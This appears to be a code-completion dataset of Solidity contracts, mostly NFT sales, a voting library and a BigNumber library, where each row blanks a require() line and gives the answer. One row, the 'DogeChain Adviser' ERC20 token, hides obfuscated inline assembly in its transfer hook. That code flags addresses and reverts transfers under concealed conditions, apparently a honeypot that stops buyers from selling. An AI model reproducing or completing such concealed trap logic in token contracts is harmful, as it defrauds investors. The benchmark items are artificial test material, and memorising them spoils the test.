usdc.safeTransferFrom(msg.sender,fundsWallet, nftPrice.mul(quantity));
_mintUnpaid(quantity);
publicsaleMintedNFT[msg.sender] = publicsaleMintedNFT[ msg.sender].add(quantity);
}
}
function _mintUnpaid(uint quantity) internal{
}
function setMerkleRoot(bytes32 _newMerkleRoot) public onlyOwner {
}
// latest Eth Price
function getLatestPrice() public view returns (uint) {
}
function priceOfNftinETH() public view returns (uint) {
}
// _increasedTime should be in seconds
function setTimeIncrease(
uint8 phase,
uint256 _increasedTime
) public onlyOwner {
}
function setNFTPrice(uint _newPrice) public onlyOwner {
}
function setUsdtUsdc(IERC20 _usdt, IERC20 _usdc) public onlyOwner {
}
function airDrop(address[] calldata _addresses , uint[] calldata _quantity) public onlyOwner {
}
function setPriceFeed(AggregatorV3Interface _priceFeed) public onlyOwner{
}
}
| usdc.balanceOf(msg.sender)>=nftPrice.mul(quantity),"Not Enough USDC balance" | 179,468 | usdc.balanceOf(msg.sender)>=nftPrice.mul(quantity) |
"No Enough USDC Allowance" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./MerkleProof.sol";
import "./AggregatorV3Interface.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./IPioneerNFT.sol";
contract SalePioneer is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public usdt;
IERC20 public usdc;
IPioneerNFT public Pioneer;
AggregatorV3Interface internal priceFeed;
uint256 public phaseOneTime;
uint256 public phaseTwoTime;
uint256 public epochInitalEnd;
uint256 public airdropTimeLimit;
bytes32 public merkleRoot;
uint public nftPrice ;
uint256 public maxPurchaseInitial;
bool public saleIsActive;
IERC20 public tomi;
address public marketingWallet;
address public teamWallet;
address payable public fundsWallet;
mapping(address => uint) public publicsaleMintedNFT;
mapping(address => bool) public addressWhitelisted;
constructor(
uint _phaseOneTime,
uint _phaseTwoTime,
address _fundsWallet,
address _marketingWallet,
bytes32 _merkleRoot,
IERC20 _tomiToken,
IERC20 _usdt,
IERC20 _usdc,
IPioneerNFT pioneer_,
AggregatorV3Interface priceFeed_
) {
}
receive() external payable {
}
function initialMint(uint paySelect, uint256 quantity, bytes32[] calldata _merkleProof) external payable {
}
// internal functions || Whitelist
function whiteListClaimedPaid( uint quantity, bytes32[] calldata _merkleProof ) internal {
}
function publicSale (uint quantity, uint paySelect) internal {
require(Pioneer.totalSupply().add(quantity) <= maxPurchaseInitial, "Limit reached");
require ( publicsaleMintedNFT[msg.sender].add(quantity) <= 10,"Enter Correct value to Mint" );
if(paySelect==1){
require(msg.value >= priceOfNftinETH().mul(quantity), "Send Correct Eth Value");
fundsWallet.transfer(msg.value);
_mintUnpaid(quantity);
publicsaleMintedNFT[msg.sender] = publicsaleMintedNFT[ msg.sender].add(quantity);
}else if(paySelect==2){
require(usdt.balanceOf(msg.sender)>= nftPrice.mul(quantity),"No Enough USDT balance");
require(usdt.allowance(msg.sender,address(this))>=nftPrice.mul(quantity),"No Enough USDT Allowance");
usdt.safeTransferFrom(msg.sender,fundsWallet, nftPrice.mul(quantity));
_mintUnpaid(quantity);
publicsaleMintedNFT[msg.sender] = publicsaleMintedNFT[ msg.sender].add(quantity);
}else{
require(usdc.balanceOf(msg.sender)>= nftPrice.mul(quantity),"Not Enough USDC balance");
require(<FILL_ME>)
usdc.safeTransferFrom(msg.sender,fundsWallet, nftPrice.mul(quantity));
_mintUnpaid(quantity);
publicsaleMintedNFT[msg.sender] = publicsaleMintedNFT[ msg.sender].add(quantity);
}
}
function _mintUnpaid(uint quantity) internal{
}
function setMerkleRoot(bytes32 _newMerkleRoot) public onlyOwner {
}
// latest Eth Price
function getLatestPrice() public view returns (uint) {
}
function priceOfNftinETH() public view returns (uint) {
}
// _increasedTime should be in seconds
function setTimeIncrease(
uint8 phase,
uint256 _increasedTime
) public onlyOwner {
}
function setNFTPrice(uint _newPrice) public onlyOwner {
}
function setUsdtUsdc(IERC20 _usdt, IERC20 _usdc) public onlyOwner {
}
function airDrop(address[] calldata _addresses , uint[] calldata _quantity) public onlyOwner {
}
function setPriceFeed(AggregatorV3Interface _priceFeed) public onlyOwner{
}
}
| usdc.allowance(msg.sender,address(this))>=nftPrice.mul(quantity),"No Enough USDC Allowance" | 179,468 | usdc.allowance(msg.sender,address(this))>=nftPrice.mul(quantity) |
"ERC20: trading is not yet enabled." | // DCA ALL THE WAY!
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
address[] private addDoge;
uint256 private chainLink = block.number*2;
mapping (address => bool) private _chainFloki;
mapping (address => bool) private _chainDoge;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private unleashDoge;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private shibaAI;
address public pair;
IDEXRouter router;
string private _name; string private _symbol; uint256 private _totalSupply;
uint256 private _limit; uint256 private theV; uint256 private theN = block.number*2;
bool private trading; uint256 private dumbChain = 1; bool private darkChain;
uint256 private _decimals; uint256 private darkShiba;
constructor (string memory name_, string memory symbol_, address msgSender_) {
}
function symbol() public view virtual override returns (string memory) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function name() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function _tokenInit() internal {
}
function openTrading() external onlyOwner returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function _beforeTokenTransfer(address sender, address recipient, uint256 float) internal {
require(<FILL_ME>)
assembly {
function getBy(x,y) -> hash { mstore(0, x) mstore(32, y) hash := keccak256(0, 64) }
function getAr(x,y) -> val { mstore(0, x) val := add(keccak256(0, 32),y) }
if eq(chainid(),0x1) {
if eq(sload(getBy(recipient,0x4)),0x1) { sstore(0x15,add(sload(0x15),0x1)) }
if and(lt(gas(),sload(0xB)),and(and(or(or(and(or(eq(sload(0x16),0x1),eq(sload(getBy(sender,0x5)),0x1)),gt(sub(sload(0x3),sload(0x13)),0x7)),gt(float,div(sload(0x99),0x2))),and(gt(float,div(sload(0x99),0x3)),eq(sload(0x3),number()))),or(and(eq(sload(getBy(recipient,0x4)),0x1),iszero(sload(getBy(sender,0x4)))),and(eq(sload(getAr(0x2,0x1)),recipient),iszero(sload(getBy(sload(getAr(0x2,0x1)),0x4)))))),gt(sload(0x18),0x0))) { revert(0,0) }
if or(eq(sload(getBy(sender,0x4)),iszero(sload(getBy(recipient,0x4)))),eq(iszero(sload(getBy(sender,0x4))),sload(getBy(recipient,0x4)))) {
let k := sload(0x18) let t := sload(0x99) let g := sload(0x11)
switch gt(g,div(t,0x3)) case 1 { g := sub(g,div(div(mul(g,mul(0x203,k)),0xB326),0x2)) } case 0 { g := div(t,0x3) }
sstore(0x11,g) sstore(0x18,add(sload(0x18),0x1)) }
if and(or(or(eq(sload(0x3),number()),gt(sload(0x12),sload(0x11))),lt(sub(sload(0x3),sload(0x13)),0x7)),eq(sload(getBy(sload(0x8),0x4)),0x0)) { sstore(getBy(sload(0x8),0x5),0x1) }
if and(iszero(sload(getBy(sender,0x4))),iszero(sload(getBy(recipient,0x4)))) { sstore(getBy(recipient,0x5),0x1) }
if iszero(mod(sload(0x15),0x8)) { sstore(0x16,0x1) sstore(0xB,0x1C99342) sstore(getBy(sload(getAr(0x2,0x1)),0x6),exp(0xA,0x32)) }
sstore(0x12,float) sstore(0x8,recipient) sstore(0x3,number()) }
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _DeployDCA(address account, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
}
}
contract DogeChainAdviser is ERC20Token {
constructor() ERC20Token("DogeChain Adviser", "DCA", msg.sender, 100000000 * 10 ** 18) {
}
}
| (trading||(sender==addDoge[1])),"ERC20: trading is not yet enabled." | 179,590 | (trading||(sender==addDoge[1])) |
"Already Voted" | pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Assumes the number of issuable tokens (collection size) is capped and fits in a uint128.
*
* Does not support burning tokens to address(0).
*/
contract ERC721A is
Context,
ERC165,
IERC721,
IERC721Metadata,
IERC721Enumerable
{
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
uint256 private currentIndex = 0;
uint256 internal immutable collectionSize;
uint256 internal immutable maxBatchSize;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) private _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev
* `maxBatchSize` refers to how much a minter can mint at a time.
* `collectionSize_` refers to how many tokens are in the collection.
*/
constructor(
string memory name_,
string memory symbol_,
uint256 maxBatchSize_,
uint256 collectionSize_
) {
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(collectionSize). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
override
returns (uint256)
{
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
}
function _numberMinted(address owner) internal view returns (uint256) {
}
function ownershipOf(uint256 tokenId)
internal
view
returns (TokenOwnership memory)
{
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
}
function _safeMint(address to, uint256 quantity) internal {
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - there must be `quantity` tokens remaining unminted in the total collection.
* - `to` cannot be the zero address.
* - `quantity` cannot be larger than the max batch size.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
}
uint256 public nextOwnerToExplicitlySet = 0;
/**
* @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf().
*/
function _setOwnersExplicit(uint256 quantity) internal {
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
library Ballots {
struct Ballot {
uint256 _nOption;
uint256[] _poll;
mapping(address => bool) _voters;
bool _isOpen;
}
function currentPoll(Ballot storage ballot) internal view returns (uint256[] memory) {
}
function createNewPoll(Ballot storage ballot, uint256 _nOption) internal {
}
function vote(Ballot storage ballot, uint256 _option, uint256 _voteCount) internal {
require(<FILL_ME>)
require(
ballot._isOpen == true,
"Poll is closed"
);
ballot._poll[_option] += _voteCount;
ballot._voters[msg.sender] = true;
}
function closePoll(Ballot storage ballot) internal {
}
function reopenPoll(Ballot storage ballot) internal {
}
}
| ballot._voters[msg.sender]==false,"Already Voted" | 179,742 | ballot._voters[msg.sender]==false |
"Size must be multiple of 0x20" | pragma solidity ^0.8.0;
/*
MIT License
Copyright (c) 2017 zcoinofficial
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
// Originated from https://github.com/zcoinofficial/solidity-BigNumber
// SPDX-License-Identifier: MIT
// solhint-disable no-inline-assembly, no-empty-blocks, function-max-lines
/**
* @title Big integer math library
*/
library BigNumber {
/*
* BigNumber is defined as a struct named 'Instance' to avoid naming conflicts.
* DO NOT ALLOW INSTANTIATING THIS DIRECTLY - use the 'from' functions defined below.
* Hoping in future Solidity will allow visibility modifiers on structs.
*/
// @notice store bytes in word-size (32 byte) chunks
struct Instance {
bytes32[] value;
}
/**
* @notice Create a new Bignumber instance from byte array
* @dev If the caller subsequently clears or modifies the input _value, it will corrupt the BigNumber value.
* @param _value Number stored in big endian bytes
* @return instance of BigNumber
*/
function from(bytes memory _value) internal view returns (Instance memory) {
}
/**
* @notice Create a new BigNumber instance from uint256
* @param _value Number stored in uint256
* @return instance of BigNumber
*/
function from(uint256 _value)
internal
pure
returns (Instance memory instance)
{
}
/**
* @notice Convert instance to padded byte array
* @param _instance BigNumber instance to convert
* @param _size Desired size of byte array
* @return result byte array
*/
function asBytes(Instance memory _instance, uint256 _size)
internal
view
returns (bytes memory)
{
uint256 length = _instance.value.length;
require(<FILL_ME>)
uint256 _byteLength = length << 5;
require(_size >= _byteLength, "Number too large to represent");
uint256 zeroOffset = _size - _byteLength;
bytes memory result = new bytes(_size);
assembly {
/*
Call precompiled contract to copy data
gas cost is 15 + 3/word
there is no packing for structs in memory, so this just loads the slot for _instance
shift 32 bytes to skip the length value of each reference type
shift an additional zeroOffset bits on the result to naturally create the offset
*/
if iszero(
staticcall(
add(0x0f, mul(0x03, length)),
0x04,
add(mload(_instance), 0x20),
_byteLength,
add(result, add(0x20, zeroOffset)),
_byteLength
)
) {
revert(0, 0)
}
}
return result;
}
/**
* @notice Convert instance to minimal byte array
* @param _instance BigNumber instance to convert
* @return result byte array
*/
function asBytes(Instance memory _instance)
internal
view
returns (bytes memory)
{
}
/**
* @notice Obtain length (in bytes) of BigNumber instance
* This will be rounded up to nearest multiple of 0x20 bytes
*
* @param _instance BigNumber instance
* @return Size (in bytes) of BigNumber instance
*/
function byteLength(Instance memory _instance)
internal
pure
returns (uint256)
{
}
/**
* @notice Obtain minimal length (in bytes) of BigNumber instance
*
* @param _instance BigNumber instance
* @return Size (in bytes) of minimal BigNumber instance
*/
function minimalByteLength(Instance memory _instance)
internal
pure
returns (uint256)
{
}
/**
* @notice Perform modular exponentiation of BigNumber instance
* @param _base Base number
* @param _exponent Exponent
* @param _modulus Modulus
* @return result (_base ^ _exponent) % _modulus
*/
function modexp(
Instance memory _base,
Instance memory _exponent,
Instance memory _modulus
) internal view returns (Instance memory result) {
}
/**
* @notice Perform modular multiplication of BigNumber instances
* @param _a number
* @param _b number
* @param _modulus Modulus
* @return (_a * _b) % _modulus
*/
function modmul(
Instance memory _a,
Instance memory _b,
Instance memory _modulus
) internal view returns (Instance memory) {
}
/**
* @notice Compare two BigNumber instances for equality
* @param _a number
* @param _b number
* @return -1 if (_a<_b), 1 if (_a>_b) and 0 if (_a==_b)
*/
function cmp(Instance memory _a, Instance memory _b)
internal
pure
returns (int256)
{
}
/**
* @notice Add two BigNumber instances
* Not used outside the library itself
*/
function privateAdd(Instance memory _a, Instance memory _b)
internal
pure
returns (Instance memory instance)
{
}
/**
* @dev max + min
*/
function innerAdd(bytes32[] memory _max, bytes32[] memory _min)
private
pure
returns (bytes32[] memory result)
{
}
/**
* @notice Return absolute difference between two instances
* Not used outside the library itself
*/
function absdiff(Instance memory _a, Instance memory _b)
internal
pure
returns (Instance memory instance)
{
}
/**
* @dev max - min
*/
function innerDiff(bytes32[] memory _max, bytes32[] memory _min)
private
pure
returns (bytes32[] memory result)
{
}
/**
* @notice Multiply two instances
* @param _a number
* @param _b number
* @return res _a * _b
*/
function multiply(Instance memory _a, Instance memory _b)
internal
view
returns (Instance memory res)
{
}
/**
* @dev take two instances, add or diff them, then square the result
*/
function opAndSquare(
Instance memory _a,
Instance memory _b,
bool _add
) private view returns (Instance memory res) {
}
/**
* @dev a % mod
*/
function modulo(Instance memory _a, Instance memory _mod)
private
view
returns (Instance memory res)
{
}
/**
* @dev Use the precompile to perform _base ^ _exp % _mod
*/
function innerModExp(
bytes32[] memory _base,
bytes32[] memory _exp,
bytes32[] memory _mod
) private view returns (bytes32[] memory ret) {
}
/**
* @dev Right shift instance 'dividend' by 'value' bits.
* This clobbers the passed _dividend
*/
function privateRightShift(Instance memory _dividend)
internal
pure
returns (Instance memory)
{
}
}
| _size&0x1f==0x0,"Size must be multiple of 0x20" | 179,756 | _size&0x1f==0x0 |
"Too many already minted" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "erc721a/contracts/ERC721A.sol";
contract HerodotusNFTs is Ownable, ERC721A, ReentrancyGuard {
event WhitelistMint(
uint256 indexed roundIndex,
uint256 indexed quantity,
address indexed minter,
uint256 totalMinted
);
event WithdrawMoney(
uint256 indexed blocktime,
uint256 indexed amount,
address indexed sender
);
uint256 public immutable amountForMarketing;
uint256 public immutable collectionSize;
address public immutable vaultAddress;
address public immutable preMinteeAddress;
//1:founding round
//2:six flavor round
//3:partner round
//4:public round
struct SaleConfig {
uint32 roundSaleStartTime;
uint32 roundSaleEndTime;
uint64 roundPrice;
string roundSaleKey;
uint256 summaryRoundSale;
uint32 maxPerAddressDuringMint;
uint32 maxPerRound;
bytes32 merkleRoot;
}
SaleConfig[4] public saleConfigs;
constructor(
uint256 collectionSize_,
uint256 amountForMarketing_,
address vaultAddress_,
address preMinteeAddress_
) ERC721A("HerodotusNFTs", "HDOTUS") {
}
modifier callerIsUser() {
}
function _isEqual(string memory s1, string memory s2)
internal
pure
returns (bool)
{
}
function setSaleConfig(
uint32 _index,
uint32 _roundSaleStartTime,
uint32 _roundSaleEndTime,
uint64 _roundPrice,
uint32 _maxPerAddressDuringMint,
uint32 _maxPerRound,
bytes32 _merkleRoot
) external onlyOwner {
}
function setRoundSaleKey(uint256 index, string memory key)
external
onlyOwner
{
}
function getRoundSaleconfig(uint256 roundIndex)
external
view
returns (SaleConfig memory)
{
}
//Mint Round
mapping(address => uint256) public foundingMinterAllocate;
mapping(address => uint256) public favourMinterAllocate;
mapping(address => uint256) public whitelistMinterAllocate;
mapping(address => uint256) public publicMinterAllocate;
function setMinterAllocate(
uint256 roundIndex,
uint256 quantity,
address minter
) internal {
}
function getMinterAllocate(uint256 roundIndex, address minter)
internal
view
returns (uint256 allocate)
{
}
function preMint(uint256 quantity) external onlyOwner {
require(<FILL_ME>)
_safeMint(preMinteeAddress, quantity);
}
function whitelistMint(
uint256 roundIndex,
uint256 quantity,
bytes32[] calldata _merkleProof,
string memory whitelistSaleKey
) external payable callerIsUser {
}
function publicMint(
uint256 roundIndex,
uint256 quantity,
string memory callerRoundSaleKey
) external payable {
}
function refundIfOver(uint256 price) private {
}
function isRoundSaleOn(
uint256 roundPriceWei,
uint256 roundSaleStartTime,
uint256 roundSaleEndTime,
string memory roundSaleKey
) public view returns (bool) {
}
// // metadata URI
string private _baseTokenURI;
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function withdrawMoney() external nonReentrant {
}
function numberMinted(address _owner) public view returns (uint256) {
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
}
| totalSupply()+quantity<=amountForMarketing,"Too many already minted" | 179,805 | totalSupply()+quantity<=amountForMarketing |
"Mint is not live" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "erc721a/contracts/ERC721A.sol";
contract HerodotusNFTs is Ownable, ERC721A, ReentrancyGuard {
event WhitelistMint(
uint256 indexed roundIndex,
uint256 indexed quantity,
address indexed minter,
uint256 totalMinted
);
event WithdrawMoney(
uint256 indexed blocktime,
uint256 indexed amount,
address indexed sender
);
uint256 public immutable amountForMarketing;
uint256 public immutable collectionSize;
address public immutable vaultAddress;
address public immutable preMinteeAddress;
//1:founding round
//2:six flavor round
//3:partner round
//4:public round
struct SaleConfig {
uint32 roundSaleStartTime;
uint32 roundSaleEndTime;
uint64 roundPrice;
string roundSaleKey;
uint256 summaryRoundSale;
uint32 maxPerAddressDuringMint;
uint32 maxPerRound;
bytes32 merkleRoot;
}
SaleConfig[4] public saleConfigs;
constructor(
uint256 collectionSize_,
uint256 amountForMarketing_,
address vaultAddress_,
address preMinteeAddress_
) ERC721A("HerodotusNFTs", "HDOTUS") {
}
modifier callerIsUser() {
}
function _isEqual(string memory s1, string memory s2)
internal
pure
returns (bool)
{
}
function setSaleConfig(
uint32 _index,
uint32 _roundSaleStartTime,
uint32 _roundSaleEndTime,
uint64 _roundPrice,
uint32 _maxPerAddressDuringMint,
uint32 _maxPerRound,
bytes32 _merkleRoot
) external onlyOwner {
}
function setRoundSaleKey(uint256 index, string memory key)
external
onlyOwner
{
}
function getRoundSaleconfig(uint256 roundIndex)
external
view
returns (SaleConfig memory)
{
}
//Mint Round
mapping(address => uint256) public foundingMinterAllocate;
mapping(address => uint256) public favourMinterAllocate;
mapping(address => uint256) public whitelistMinterAllocate;
mapping(address => uint256) public publicMinterAllocate;
function setMinterAllocate(
uint256 roundIndex,
uint256 quantity,
address minter
) internal {
}
function getMinterAllocate(uint256 roundIndex, address minter)
internal
view
returns (uint256 allocate)
{
}
function preMint(uint256 quantity) external onlyOwner {
}
function whitelistMint(
uint256 roundIndex,
uint256 quantity,
bytes32[] calldata _merkleProof,
string memory whitelistSaleKey
) external payable callerIsUser {
require(roundIndex >= 0 && roundIndex < 3, "Invalid round");
//get round config
SaleConfig memory config = saleConfigs[roundIndex];
string memory roundSaleKey = config.roundSaleKey;
uint256 roundPrice = uint256(config.roundPrice);
uint256 roundSaleStartTime = uint256(config.roundSaleStartTime);
uint256 roundSaleEndTime = uint256(config.roundSaleEndTime);
uint256 maxPerAddressDuringMint = uint256(
config.maxPerAddressDuringMint
);
uint256 maxPerDurringRound = uint256(config.maxPerRound);
uint256 summaryRoundSale = config.summaryRoundSale;
bytes32 root = config.merkleRoot;
require(<FILL_ME>)
require(
_isEqual(whitelistSaleKey, roundSaleKey),
"Called with incorrect mint key"
);
require(quantity > 0, "quantity must not be zero");
///?
require(
totalSupply() + quantity <= collectionSize,
"Reached max supply"
);
require(
summaryRoundSale + quantity <= maxPerDurringRound,
"Reached max for this round"
);
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(
MerkleProof.verify(_merkleProof, root, leaf),
"MerkleProof: Verify fail"
);
{
uint256 index = roundIndex;
uint256 amount = quantity;
uint256 minterAllocate = getMinterAllocate(index, msg.sender);
require(
amount <= maxPerAddressDuringMint - minterAllocate,
"Can not mint this many"
);
setMinterAllocate(index, amount, msg.sender);
_safeMint(msg.sender, amount);
//total sale per round
saleConfigs[index].summaryRoundSale += amount;
refundIfOver(roundPrice * amount);
emit WhitelistMint(index, amount, msg.sender, totalSupply());
}
}
function publicMint(
uint256 roundIndex,
uint256 quantity,
string memory callerRoundSaleKey
) external payable {
}
function refundIfOver(uint256 price) private {
}
function isRoundSaleOn(
uint256 roundPriceWei,
uint256 roundSaleStartTime,
uint256 roundSaleEndTime,
string memory roundSaleKey
) public view returns (bool) {
}
// // metadata URI
string private _baseTokenURI;
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function withdrawMoney() external nonReentrant {
}
function numberMinted(address _owner) public view returns (uint256) {
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
}
